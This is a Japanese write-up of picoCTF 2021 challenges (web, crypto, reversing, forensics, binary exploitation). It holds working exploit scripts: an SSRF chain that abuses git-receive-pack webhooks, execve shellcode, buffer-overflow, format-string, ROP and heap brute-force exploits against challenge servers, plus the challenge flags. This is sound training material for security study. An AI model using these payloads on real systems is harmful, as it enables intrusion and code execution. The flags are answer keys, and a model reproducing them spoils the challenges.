009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/master \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f

ブランチ名が含まれていますね。ここのrefs/heads/masterを試しにrefs/heads/127.0.0.1:1823に書き替えて/:user/:repo.git/git-receive-packに送信してみます。

data = b'009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/127.0.0.1:1823 \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f'
req.post("http://127.0.0.1:1823/hoge/hoge.git/git-receive-pack", data=data, headers={"Cookie": "user-token=ec38a070-7361-4b61-8608-b338b1007be1", "Content-Type": "application/x-git-receive-pack-request"})

requestsbinで確認するとwebhookを送信できていることがわかります。

http://requestbin.net
GET /r/e6d4t1qe?127.0.0.1:1823=

これでSSRFができるようになりました。次に_/${$user}.gitに自分のユーザー名が入った access.confを作ることを考えます。

git-receive-packの内容はcommitにのみ依存するようで、何もpushされてないrefs/meta/configaccess.confをpushする時に送る内容はどの時でも同一です。

Docker内に入って、repo/_/${user}.git内でこのような操作を行います。

git checkout --orphan hoge
git rm --cached README.md  # README.mdに依存させない
git add access.conf && git commit -m "hoge"
git push origin @:refs/meta/config

送信された内容をログから読みます。これを/_/${user}.git/git-receive-packにpushします。

import requests as req
from time import sleep
ses = req.Session()

# URL = "http://127.0.0.1:1823/"
URL = "http://venus.picoctf.net:54049/"

data = b'009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/127.0.0.1:1823 \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f'
pack = 'MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgMTFlMmJjN2M2MzRhY2UwYzMwMjBjZWFhZTE2MjBlMzUwMzBlYzJjNiByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMTEuMDAwMDBQQUNLAAAAAgAAAAOXCXiclctBCoAgEEDRvaeYfRCNpo4QEd0kc8wWIcR0/6Qb9Ddv9eVmBsyb4RyQs86RtCU0iXxAcjyalHzQ3lqKu9oeKfWG9ZTyHDDFz6XRN2dAh240OHiEbmipvV7XKcI/FlXqweoFfOwsYKcCeJwzNDAwMzFRSExOTi0u1kvOz0tjUEq6xyMkr3S/r+Lr4to8Qf/LSgc2AAD2/A6ENXicy8hPT+UCAAXSAa5ZPDrsh7YOhBgGdgO7iUircHOhcA=='

ses.post(URL+"api/register", json={"user": "hoge", "password": "hoge"})
sleep(1)
ses.post(URL+"api/login", json={"user": "hoge", "password": "hoge"})
sleep(1)
ses.post(URL+"api/repo/create", json={"name": "hoge", "initializeReadme": True})
sleep(1)

print(ses.post(URL+"hoge/hoge.git/webhooks", json={
    "url":"http://{{branch}}/_/hoge.git/git-receive-pack",
    "body":pack,
    "contentType":"application/x-git-receive-pack-request"
}))
sleep(1)

print(ses.post(URL+"hoge/hoge.git/git-receive-pack", data=data, headers = {"Content-Type":"application/x-git-receive-pack-request"}))
sleep(1)

print(ses.get(URL+"_/hoge.git/api/readme?ref=refs/heads/master").text)

picoCTF{good_job_at_gitting_good}

Writeup書くときに非常に困るから対話モードのまま解くのは...やめようね!スクリプトを...書こうね!

Cryptography

It is my Birthday 2 [170 points]

SHA-1が衝突した二枚のPDFを送ればフラグが手に入ります。しかし、後半1000 bytesは配布されたpdfと同一でなければいけません。

ヒントにhttps://shattered.io/があるので見てみると、Googleが発見したPDFのSHA-1を衝突させる方法らしいです。チームメイトが資料を色々と漁ってくれた結果、巷で話題のGoogleのSHA-1衝突やってみたがとても分かりやすかったです。詳しくはその記事を見て下さい。

SHA-1は前半が衝突しているなら後半は何を入れても衝突するような性質を持つようです。https://shattered.io/にある衝突したPDFを使い、2枚目のJPGが終わったところで残りに配布されたPDFの後半をPDFとして正しいように貼り付ければ条件を達成できそうです。

radare2やpeepdf.pyで確認しながら良い感じのオフセットを探します。

shattered1 = open("shattered-1.pdf", "rb").read()
shattered2 = open("shattered-2.pdf", "rb").read()
invite = open("invite.pdf", "rb").read()
open("pair-1.pdf", "wb").write(shattered1[:0x00066f8f] + invite[0x0021e5ad:])
open("pair-2.pdf", "wb").write(shattered2[:0x00066f8f] + invite[0x0021e5ad:])

picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}

Pixelated [200 points]

二枚のサイズが同じなPNGが渡されます。

試しにXORしてみると何か出てきたので強調してみるとフラグでした。

from PIL import Image, ImageDraw

image1 = Image.open("./scrambled1.png")
image2 = Image.open("./scrambled2.png")

img = Image.new("RGB", (512, 512), (255, 255, 255))
draw = ImageDraw.Draw(img)

w, h = image1.size

for y in range(h):
    for x in range(w):
        r1, g1, b1 = image1.getpixel((x, y))
        r2, g2, b2 = image2.getpixel((x, y))
        draw.point((x, y), (r1 ^ r2, g1 ^ g2, b1 ^ b2))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img.getpixel((x, y))
        draw.point((x, y), ((r1 == 255)*255, (g1 == 255)*255, (b1 == 255)*255))
img.show()

f:id:Satoooon1024:20210331092119p:plain

Reverse Engineering

Hurry up! Wait! [100 points]

exeファイルが渡されますが、fileコマンドで見てみると64bit ELFです。

実行すると、libgnat-7.so.1が見つからないと言われます。調べてみると、Adaというプログラミング言語コンパイラで使うライブラリのようです。

gnatをインストールし、再度実行してもエラーは出ませんが何も起こらず止まってしまいます。

radare2で見てみると、main関数から呼ばれているfcn.0000298aが目に止まります。

┌ 157: fcn.0000298a ();
│           0x0000298a      55             push rbp
│           0x0000298b      4889e5         mov rbp, rsp
│           0x0000298e      48bf0080c6a4.  movabs rdi, 0x38d7ea4c68000
│           0x00002998      e8d3f1ffff     call sym.imp.ada__calendar__delays__delay_for
│           0x0000299d      e874fcffff     call fcn.00002616
│           0x000029a2      e803fbffff     call fcn.000024aa
│

sym.imp.ada__calendar__delays__delay_for関数で止まってしまうようです。nopで置き替えて無効にするとフラグが得られました。

picoCTF{d15a5m_ftw_dfbdc5d}

Let's get dynamic [150 points]

chall.Sが渡されます。

        .file   "chall.c"
        .text
        .section        .rodata
        .align 8
.LC0:
        .string "Correct! You entered the flag."
.LC1:
        .string "No, that's not right."
        .text
        .globl  main
        .type   main, @function
main:
.LFB5:
        .cfi_startproc
        pushq   %rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        movq    %rsp, %rbp
        .cfi_def_cfa_register 6
        pushq   %rbx
        subq    $296, %rsp
        .cfi_offset 3, -24
        movl    %edi, -292(%rbp)
        movq    %rsi, -304(%rbp)
        movq    %fs:40, %rax
        movq    %rax, -24(%rbp)
        xorl    %eax, %eax
        movabsq $-7160114087250758469, %rax
        movabsq $-825839388689912643, %rdx
        movq    %rax, -144(%rbp)
        movq    %rdx, -136(%rbp)
        movabsq $786526249160737541, %rax
        movabsq $1941996132093932715, %rdx
        movq    %rax, -128(%rbp)
        movq    %rdx, -120(%rbp)
        movabsq $3365698418351740687, %rax
        movabsq $-5505454904125705114, %rdx
        movq    %rax, -112(%rbp)
        movq    %rdx, -104(%rbp)
        movw    $71, -96(%rbp)
        movabsq $-868798388209479720, %rax
        movabsq $-5191480482471358526, %rdx
        movq    %rax, -80(%rbp)
        movq    %rdx, -72(%rbp)
        movabsq $5880709399953698610, %rax
        movabsq $7263502779513195921, %rdx
        movq    %rax, -64(%rbp)
        movq    %rdx, -56(%rbp)
        movabsq $5038436924259389539, %rax
        movabsq $-4931180023697917848, %rdx
        movq    %rax, -48(%rbp)
        movq    %rdx, -40(%rbp)
        movw    $25, -32(%rbp)
        movq    stdin(%rip), %rdx
        leaq    -208(%rbp), %rax
        movl    $49, %esi
        movq    %rax, %rdi
        call    fgets@PLT
        movl    $0, -276(%rbp)
        jmp     .L2
.L3:
        movl    -276(%rbp), %eax
        cltq
        movzbl  -144(%rbp,%rax), %edx
        movl    -276(%rbp), %eax
        cltq
        movzbl  -80(%rbp,%rax), %eax
        xorl    %eax, %edx
        movl    -276(%rbp), %eax
        xorl    %edx, %eax
        xorl    $19, %eax
        movl    %eax, %edx
        movl    -276(%rbp), %eax
        cltq
        movb    %dl, -272(%rbp,%rax)
        addl    $1, -276(%rbp)
.L2:
        movl    -276(%rbp), %eax
        movslq  %eax, %rbx
        leaq    -144(%rbp), %rax
        movq    %rax, %rdi
        call    strlen@PLT
        cmpq    %rax, %rbx
        jb      .L3
        leaq    -272(%rbp), %rcx
        leaq    -208(%rbp), %rax
        movl    $49, %edx
        movq    %rcx, %rsi
        movq    %rax, %rdi
        call    memcmp@PLT
        testl   %eax, %eax
        je      .L4
        leaq    .LC0(%rip), %rdi
        call    puts@PLT
        movl    $0, %eax
        jmp     .L6
.L4:
        leaq    .LC1(%rip), %rdi
        call    puts@PLT
        movl    $1, %eax
.L6:
        movq    -24(%rbp), %rcx
        xorq    %fs:40, %rcx
        je      .L7
        call    __stack_chk_fail@PLT
.L7:
        addq    $296, %rsp
        popq    %rbx
        popq    %rbp
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE5:
        .size   main, .-main
        .ident  "GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

よくわからないのでとりあえずコンパイルしてradare2で見てみます。

 0x000012fa      e861fdffff     call sym.imp.memcmp

memcmpが行われているようなのでそこをgdbで見てみます。

Starting program:

Breakpoint 1, 0x00005555555552fa in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
 RAX  0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */
 RBX  0x31
 RCX  0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{')
 RDX  0x31
 RDI  0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */
 RSI  0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{')
 R8   0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */
 R9   0x7c
 R10  0x7ffff7fb1be0 (main_arena+96) —▸ 0x5555555596a0 ◂— 0x0
 R11  0x246
 R12  0x555555555090 (_start) ◂— endbr64
 R13  0x7fffffffe3a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe2b0 ◂— 0x0
 RSP  0x7fffffffe180 —▸ 0x7fffffffe3a8 —▸ 0x7fffffffe5f0
 RIP  0x5555555552fa (main+385) ◂— call   0x555555555060
───────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
 ► 0x5555555552fa <main+385>    call   memcmp@plt <memcmp@plt>
        s1: 0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */
        s2: 0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{')
        n: 0x31

   0x5555555552ff <main+390>    test   eax, eax
   0x555555555301 <main+392>    je     main+413 <main+413>

   0x555555555303 <main+394>    lea    rdi, [rip + 0xcfe]
   0x55555555530a <main+401>    call   puts@plt <puts@plt>

   0x55555555530f <main+406>    mov    eax, 0
   0x555555555314 <main+411>    jmp    main+430 <main+430>

   0x555555555316 <main+413>    lea    rdi, [rip + 0xd0a]
   0x55555555531d <main+420>    call   puts@plt <puts@plt>

   0x555555555322 <main+425>    mov    eax, 1
   0x555555555327 <main+430>    mov    rcx, qword ptr [rbp - 0x18]
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp      0x7fffffffe180 —▸ 0x7fffffffe3a8 —▸ 0x7fffffffe5f0
01:0008│          0x7fffffffe188 ◂— 0x100000340
02:0010│          0x7fffffffe190 ◂— 0x34000000340
03:0018│          0x7fffffffe198 ◂— 0x3100000340
04:0020│ rcx rsi  0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{')
05:0028│          0x7fffffffe1a8 ◂— 0x5f63316d346e7964 ('dyn4m1c_')
06:0030│          0x7fffffffe1b0 ◂— 0x5f7331796c346e34 ('4n4ly1s_')
07:0038│          0x7fffffffe1b8 ◂— 0x72337075355f7331 ('1s_5up3r')
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► f 0     5555555552fa main+385
   f 1     7ffff7ded0b3 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x7fffffffe1a0
0x7fffffffe1a0: "picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\003"

フラグが取れてしまいました。

picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}

Forensics

Wireshark doo dooo do doo... [50 points]

pcapが渡されます。HTTPで絞って適当に見ていったらROT13されたフラグが書かれていました。

picoCTF{p33kab00_1_s33_u_deadbeef}

Wireshark twoo twooo two twoo... [100 points]

pcapが渡されます。言い訳をすると、公式Discordはどんな感じかなと見ていたら直球なヒントを見かけてしまったんです...

DNSタブを見ろというヒントだったのでDNSで絞ってみると、確かに英数字八文字.reddshrimpandherring.comという問い合わせを大量に送っていることが確認できます。

ほぼすべてが8.8.8.8に向けてリクエストをしていますが、18.217.1.57に問い合わせしているのをいくつか見かけたのでdns && ip.addr==18.217.1.57 && dns.flags==0x8183で絞ってみます。(0x8183は問い合わせに対するレスポンスの番号)

すると、問い合わせしている英数字8文字のサブドメインの部分がbase64文字列っぽいことに気が付きます。

古い方から順にサブドメインを取っていき、繋げてbase64 -dするとフラグが出てきます。

picoCTF{dns_3xf1l_ftw_deadbeef}

Binary Exploitation

Binary Gauntlet 0 [10 points]

AAAAAAAAAAAAAAAAA...って送ってたらフラグが手に入りました。(多分BOFが条件)

790e8018012932e9d49f9b323123f708

注意無しにフラグフォーマットを破るな高校に怒られそう。(最初は注意されてなかったはず)

Stonks [20 points]

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
    int shares;
    char symbol[MAX_SYM_LEN + 1];
    struct Stonks *next;
} Stonk;

typedef struct Portfolios {
    int money;
    Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
    if (!p) {
        return 1;
    }
    printf("\nPortfolio as of ");
    fflush(stdout);
    system("date"); // TODO: implement this in C
    fflush(stdout);

    printf("\n\n");
    Stonk *head = p->head;
    if (!head) {
        printf("You don't own any stonks!\n");
    }
    while (head) {
        printf("%d shares of %s\n", head->shares, head->symbol);
        head = head->next;
    }
    return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
    if (shares < 1) {
        return NULL;
    }
    Stonk *stonk = malloc(sizeof(Stonk));
    stonk->shares = shares;

    int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
    for (int i = 0; i <= MAX_SYM_LEN; i++) {
        if (i < AI_symbol_len) {
            stonk->symbol[i] = 'A' + (rand() % 26);
        } else {
            stonk->symbol[i] = '\0';
        }
    }

    stonk->next = NULL;

    return stonk;
}

int buy_stonks(Portfolio *p) {
    if (!p) {
        return 1;
    }
    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");
    if (!f) {
        printf("Flag file not found. Contact an admin.\n");
        exit(1);
    }
    fgets(api_buf, FLAG_BUFFER, f);

    int money = p->money;
    int shares = 0;
    Stonk *temp = NULL;
    printf("Using patented AI algorithms to buy stonks\n");
    while (money > 0) {
        shares = (rand() % money) + 1;
        temp = pick_symbol_with_AI(shares);
        temp->next = p->head;
        p->head = temp;
        money -= shares;
    }
    printf("Stonks chosen\n");

    // TODO: Figure out how to read token from file, for now just ask

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);

    // TODO: Actually use key to interact with API

    view_portfolio(p);

    return 0;
}

Portfolio *initialize_portfolio() {
    Portfolio *p = malloc(sizeof(Portfolio));
    p->money = (rand() % 2018) + 1;
    p->head = NULL;
    return p;
}

void free_portfolio(Portfolio *p) {
    Stonk *current = p->head;
    Stonk *next = NULL;
    while (current) {
        next = current->next;
        free(current);
        current = next;
    }
    free(p);
}

int main(int argc, char *argv[])
{
    setbuf(stdout, NULL);
    srand(time(NULL));
    Portfolio *p = initialize_portfolio();
    if (!p) {
        printf("Memory failure\n");
        exit(1);
    }

    int resp = 0;

    printf("Welcome back to the trading app!\n\n");
    printf("What would you like to do?\n");
    printf("1) Buy some stonks!\n");
    printf("2) View my portfolio\n");
    scanf("%d", &resp);

    if (resp == 1) {
        buy_stonks(p);
    } else if (resp == 2) {
        view_portfolio(p);
    }

    free_portfolio(p);
    printf("Goodbye!\n");

    exit(0);
}

FSBがあるので%p%p%p...APIをleakします。CyberChefの自作レシピが便利です(宣伝)

picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

Binary Gauntlet 1 [30 points]

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Ghidraにかけるとこんな感じになりました。

undefined8 main(undefined8 argc, char **argv)
{
    char **var_80h;
    int64_t var_74h;
    char *format;
    
    var_74h._0_4_ = (undefined4)argc;
    format = (char *)malloc(1000);
    printf(0x4007d4, (int64_t)&var_74h + 4);
    fflush(_reloc.stdout);
    fgets(format, 1000, _reloc.stdin);
    format[999] = '\x00';
    printf(format);
    fflush(_reloc.stdout);
    fgets(format, 1000, _reloc.stdin);
    format[999] = '\x00';
    strcpy((int64_t)&var_74h + 4, format, format);
    return 0;
}

stackのアドレスをくれた後にFSBBOFがありますね。NX disabledなのでshellstormからシェルコード見つけてBOFでシェルコードに飛ばします。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./gauntlet"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
# libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 19968"

command = '''
b *0x0040074e
c
'''

chall = ELF(file)

io = get_io()

io.recvuntil("0x")
stack_leak = int(io.recvline(), 16)

io.sendline()

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = b""
payload += shellcode
payload += b"A"*(120 - len(payload))
payload += p64(stack_leak)
print(payload)

io.sendline(payload)

io.interactive()

7504344981b9288c5669150ada84894e

What's your input? [50 points]

#!/usr/bin/python2 -u
import random

cities = open("./city_names.txt").readlines()
city = random.choice(cities).rstrip()
year = 2018

print("What's your favorite number?")
res = None
while not res:
    try:
        res = input("Number? ")
        print("You said: {}".format(res))
    except:
        res = None

if res != year:
    print("Okay...")
else:
    print("I agree!")

print("What's the best city to visit?")
res = None
while not res:
    try:
        res = input("City? ")
        print("You said: {}".format(res))
    except:
        res = None

if res == city:
    print("I agree!")
    flag = open("./flag").read()
    print(flag)
else:
    print("Thanks for your input!")

city_names.txtからランダムに一つ読み込まれるので、それを当てられたらフラグが貰えます。city_names.txtも与えられてないので総当たりも無理です。

ヒントにはWhat version of python am I running?と書かれていまさいた。Python2特有の脆弱性があるのでしょうか。

format関数かなと思って調べたけど出てきませんでした。ではprint関数?と思いpython2 print vulnerabilityで調べてみると Vulnerability in input() function – Python 2.xという記事が出てきました。

Python2のinput関数は変数の名前を入力すると変数の参照を返すという仕様らしいです。知らなかった。

二回目の入力でcityと入れるとres = cityとなりフラグが手に入ります。PwnじゃなくてMiscだけど好き。

picoCTF{v4lua4bl3_1npu7_7607377}

Binary Gauntlet 2 [50 points]

今度はスタックのアドレスをくれなくなりました。だけどFSBがあるのでleakには事欠かさないですね。%6$pにスタックのアドレスがあるので良い感じにオフセットを調整して終わりです。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"


def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./gauntlet"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
# libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 49704"

command = '''
b _start
b *0x004006d5
b *0x00400726
c
'''

chall = ELF(file)

io = get_io()

ret_addr = 7
leaked_stack_addr = 50

io.sendline("%6$p")
leak = int(io.recvline()[2:], 16)

log.info(f"leak: {leak:x}")

buf_addr = leak - (leaked_stack_addr - ret_addr) * 8

log.info(f"buf: {buf_addr:x}")

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = b""
payload += shellcode
payload += b"A"*(0x78 - len(payload))
payload += p64(buf_addr)

io.sendline(payload)
io.interactive()

230fc5c335f1fe302abdc387d498fe40

Cache Me Outside [70 points]

バイナリとlibcが渡されます。libc dbでldをダウンロードして、patchelfでldを適切なものに変更しないと動きません。(不親切すぎないか)

// flag @ rbp-0x50
// random_string @ rbp - 0x70
fgets(flag, 0x40, fopen("flag.txt", "r"));
strcpy(random_string, "this is a random string.");
first = 0;
for (int i = 0; i < 7; i++) {
    ptr = malloc(0x80);
    if (first == 0) fisrt = ptr;
    strcpy(ptr, "Congrats! Your flag is: ");
    strcat(ptr, flag);
}
B = malloc(0x80);
strcpy(B, "Sorry! This won't help you : ");
strcat(B, random_string);
free(ptr);
free(B);
scanf("%d", addr);
scanf("%c", value);
first[addr] = value;
result = malloc(0x80);
puts(*(result+0x10));

8回mallocした後にheap上の1byteを任意に操作でき、次にfreeが二回呼ばれます。最後にmallocが一回走ってその内容を表示して終わる感じです。

freeしたchunkはtcacheに格納されるのでtcache_entryを操作すればいいですね。ローカルでは-1560\x08を代入するとフラグが見れましたが、リモートで成功しませんでした。(原因が未だにわからない)

かなり悩みましたが、最終手段 ブルートフォース を用いることに決めました。

まず二分探索でheap baseを求め、そこから4bytesずつ下がるようにブルートフォースしました。

from pwn import *
import sys
import re
import time

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./heapedit"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 34499"

command = '''
b *0x00400a4a
b *0x00400a24
c
'''

chall = ELF(file)


def is_ok(mid):
    print(mid)
    io = get_io()
    io.recvline()
    io.sendlineafter("Address: ", str(-mid))
    io.sendlineafter("Value: ", "\x02")
    result = io.recvline()
    if result == b"t help you: this is a random string.\n":
        return True
    else:
        if result != b'timeout: the monitored command dumped core\n':
            print(mid, result)
        return False
    io.close()
    sleep(3)


def bisect(ng, ok):
    while (abs(ok - ng) > 1):
        mid = (ok + ng) // 2
        if is_ok(mid):
            ok = mid
        else:
            ng = mid
    return ok

# print(bisect(100000, 0))

heap_base = 5280

for i in range(0, 0x100, 4):
    print(-heap_base+i)
    io = get_io()
    io.recvline()
    io.sendlineafter("Address: ", str(-heap_base+i))
    io.sendlineafter("Value: ", "\x02")
    result = io.recvline()
    print(result)
    if result != b"t help you: this is a random string.\n":
        print(-heap_base+i, result)
    io.close()
    sleep(3)

しばらく待つと-5144でヒットしました。(こんな解法でいいのだろうか)

picoCTF{ea0e7e8e8c7bf85caa6601f3dae7ce26}

Binary Gauntlet 3 [80 points]

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

今度はNX enabledです。シェルコードは実行できないのでROPする必要がありますね。FSBでlibc leakしてROPでsystem("/bin/sh")するいつものやつで終わりそうです。(と書いたけど、よく見たらone gadgetを使っていました(何故...))

だけどlibcが与えられない(は???)のでlibc baseが求められないです。

また、libc databaseにかけてもヒットしませんでした(は????)

そのため、Binary Gauntlet 2と同じlibc使ってるだろとguessしての前回取ったシェルからlibcをダウンロードして使いました(は?????)

う~~~~んクソ!

from pwn import *
import sys
import re

context.terminal = ["wterminal"]
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./gauntlet"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 22595"

command = '''
b _start
b *0x004006d5
b *0x00400726
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()


io.sendline("%23$p %6$p")
results = io.recvline().rstrip().split()
libc_leak = int(results[0][2:], 16)
stack_leak = int(results[1][2:], 16)
libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info(f"libc: {libc.address:x}")

ret_addr = 7
leaked_stack_addr = 50
buf_addr = stack_leak - (leaked_stack_addr - ret_addr) * 8
log.info(f"buf: {buf_addr:x}")

one_gadget = 0x4f432
payload = b""
payload += b"A"*(0x78 - len(payload))
payload += p64(libc.address + one_gadget)

io.sendline(payload)

io.interactive()

ca4593c0678903b464ed666fa4a9f676

Here's a LIBC [90 points]

$ ./vuln
WeLcOmE To mY EcHo sErVeR!
hoge
HoGe
hoge
HoGe
fuadhfsia
FuAdHfSiA

こんな感じのプログラムとlibcが渡されます。do_stuff関数にBOFがあるのでGOTからlibc leakしてret2vulnしてsystem("/bin/sh")して終わりです。

from pwn import *
import sys
import re

